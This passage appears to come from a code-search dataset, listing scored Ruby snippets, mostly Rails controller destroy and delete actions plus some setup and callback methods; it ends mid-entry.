{ "docid": "a1808b8c8d49b8f5b77fc69140387a95", "score": "0.6288179", "text": "def destroy\n @letter_request.destroy\n respond_to do |format|\n format.html { redirect_to letter_requests_url, notice: 'Letter request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "08e8dd16f57e575e9e7c4c2a2782e4d4", "score": "0.62865", "text": "def destroy\n #@feat = Feat.find(params[:id])\n @feat = @character.feats.find(params[:id])\n @feat.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_character_path(@character)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "49e0986a1ffc32186e57de990a188c03", "score": "0.6278619", "text": "def destroy\n @craft.destroy\n respond_to do |format|\n format.html { redirect_to crafts_url, notice: '成功删除工艺.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7994cd34350c65161ea797f91a3f5dbd", "score": "0.6277292", "text": "def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8412d693fd475cb8f222f90b6a98bbae", "score": "0.62762725", "text": "def delete\n render json: Users.delete(params[\"id\"])\n end", "title": "" }, { "docid": "40cca70026082e03534fde7ed315a728", "score": "0.6275571", "text": "def destroy\n @short_name = ShortName.find(params[:id])\n @short_name.destroy\n\n respond_to do |format|\n format.html { redirect_to short_names_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fa3c20a90ea1419af2232f845e460f8c", "score": "0.62640977", "text": "def delete!\n request! :delete\n end", "title": "" }, { "docid": "570efd44a8bf28619f2e195737162328", "score": "0.62627786", "text": "def destroy\n @chuyen = Chuyen.find(params[:id])\n @chuyen.destroy\n\n respond_to do |format|\n format.html { redirect_to chuyens_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5837a5e7d88be4511e5cce940552d019", "score": "0.62602925", "text": "def destroy\n @creature = Creature.find(params[:id])\n @creature.destroy\n\n respond_to do |format|\n format.html { redirect_to creatures_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e88c13954515e9f8f37dedb566cb2b14", "score": "0.6243393", "text": "def destroy\n @alphabet.destroy\n respond_to do |format|\n format.html { redirect_to alphabets_url, notice: 'Alphabet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d59996d6b597c8c54a4877094dd372c5", "score": "0.62425065", "text": "def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end", "title": "" }, { "docid": "522e787502895f0a05c9b2c6ca4e5ced", "score": "0.6240726", "text": "def delete\n request(:delete)\n end", "title": "" }, { "docid": "4a83701cdbc0b6c37938f437d57ab68b", "score": "0.6240512", "text": "def destroy\n @cict.destroy\n respond_to do |format|\n format.html { redirect_to cicts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6b7710eadacdb84d3e9cd6720ee6df53", "score": "0.62397885", "text": "def destroy\n @characteristic_detail.destroy\n respond_to do |format|\n format.html { redirect_to admin_characteristic_path(session[:characteristic]), notice: 'Características Eliminada' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0831052e48007974d216f46af4d67541", "score": "0.6238111", "text": "def destroy\n @charity_aoo.destroy\n respond_to do |format|\n format.html { redirect_to charity_aoos_url, notice: 'Charity aoo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "90ea3b1d6c1702066e0d5bbafdfd7400", "score": "0.62352777", "text": "def destroy\n @user = User.find_by(uuid:params[:uuid])\n @user.characters.all.each do |x| x.destroy end\n @user.answers.all.each do |x| x.destroy end\n @user.destroy\n redirect_to users_path\n end", "title": "" }, { "docid": "39f014a4a7ea9f804377931aa37731a7", "score": "0.623397", "text": "def destroy\n @request_text.destroy\n respond_to do |format|\n format.html { redirect_to request_texts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f6cbc6419448460877c1b0fdd97f25fb", "score": "0.6230083", "text": "def destroy\n @exercise_name.destroy\n respond_to do |format|\n format.html { redirect_to exercise_names_url, notice: 'Exercise name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "af23c62f3e94845e6386598a6b217854", "score": "0.622758", "text": "def destroy\n @actor_character.destroy\n\n @actor_characters = ActorCharacter.where(actor_id: @actor.id)\n\n respond_to do |format|\n format.html { redirect_to actor_actor_characters_url(@actor), notice: \"Actor character was successfully destroyed.\" }\n format.json { head :no_content }\n flash.now[:now] = \"Actor Character was successfully destroyed.\"\n format.turbo_stream { render \"shared/destroy\", locals: { object: ActorCharacter.new } }\n end\n end", "title": "" }, { "docid": "bd43f185a999af6ce756a0980eb4093d", "score": "0.62210464", "text": "def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6f74a32c6fdb67babd4a903e37b5baa4", "score": "0.6204898", "text": "def delete\n render json: User.delete(params[\"id\"])\n end", "title": "" }, { "docid": "765e1510b816b3b03d0fd4cafc968ef9", "score": "0.6197369", "text": "def destroy\n @virus_characteristic = VirusCharacteristic.find(params[:id])\n @virus_characteristic.destroy\n\n respond_to do |format|\n format.html { redirect_to virus_characteristics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ef0ec29917b8648dfaf6324aeaed0949", "score": "0.61914045", "text": "def destroy\n authorize! :destroy, @characteristic\n @characteristic.destroy\n respond_to do |format|\n format.html { redirect_to characteristics_url, notice: 'Characteristic was successfully destroyed.' }\n format.json { head :no_content }\n end\nend", "title": "" }, { "docid": "22da2428217ede02905894b08d2f8893", "score": "0.61905843", "text": "def destroy\n @crust = Crust.find(params[:id])\n @crust.destroy\n\n respond_to do |format|\n format.html { redirect_to crusts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8a59d7b89a929f0138bba666a8d5483", "score": "0.6184465", "text": "def delete(name)\n\n end", "title": "" }, { "docid": "caaff82378e13a5976bc3bf68bb2d898", "score": "0.6184289", "text": "def destroy\n @charity.destroy\n respond_to do |format|\n format.html { redirect_to charities_url, notice: \"Charity was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8d531b858d7097a0567faa1aa1c2b40b", "score": "0.61794156", "text": "def destroy\n @charity.destroy\n respond_to do |format|\n format.html { redirect_to charities_url, notice: 'Charity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "345429bf5cd628af1f9366af4d24671b", "score": "0.6175813", "text": "def destroy\n @human_name = HumanName.find(params[:id])\n @human_name.destroy\n\n respond_to do |format|\n format.html { redirect_to human_names_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "86faa8c555419d7144a0c7003f760dff", "score": "0.61712736", "text": "def delete\n render json: Item.delete(params[\"id\"])\n end", "title": "" }, { "docid": "3922ac8a64a6281e0c76a2f59a0c1486", "score": "0.6163939", "text": "def destroy\n @caste.destroy\n respond_to do |format|\n format.html do\n redirect_to [@caste.character_type],\n notice: 'Caste was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "24d5b26ad4f1a02a8c2466b14849a31a", "score": "0.615494", "text": "def destroy\n @typo.destroy\n respond_to do |format|\n format.html { redirect_to typos_url, notice: 'Typo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "324cf12f179ccb9cc67b76959878f3be", "score": "0.6154806", "text": "def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c52ec0b5bab3d762f3ecd0eb2ab26495", "score": "0.61527", "text": "def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3f47b99d44a515efe964fd3207d68b31", "score": "0.61506915", "text": "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "title": "" }, { "docid": "558e915d28acae73ca10c0ffec0f6756", "score": "0.61476314", "text": "def destroy\n @jugadalot.destroy\n respond_to do |format|\n format.html { redirect_to new_jugadalot_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d2938d0d96fc4adb30b185ea6e647cdf", "score": "0.61475873", "text": "def delete\n render json: Post.delete(params[\"id\"])\n end", "title": "" }, { "docid": "8d1bd468b2fd0895700b94280e649737", "score": "0.61464727", "text": "def destroy\n @cetegory.destroy\n respond_to do |format|\n format.html { redirect_to cetegories_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ed094c6d93819bdb3976d26f57bd4ba1", "score": "0.6145306", "text": "def destroy\n @human = Human.find(params[:id])\n @human.destroy\n\n respond_to do |format|\n format.html { redirect_to humen_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "a16d8b0c2c6e95304cabd117b9e9e4fb", "score": "0.0", "text": "def set_raw_youtube\n @raw_youtube = RawYoutube.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = 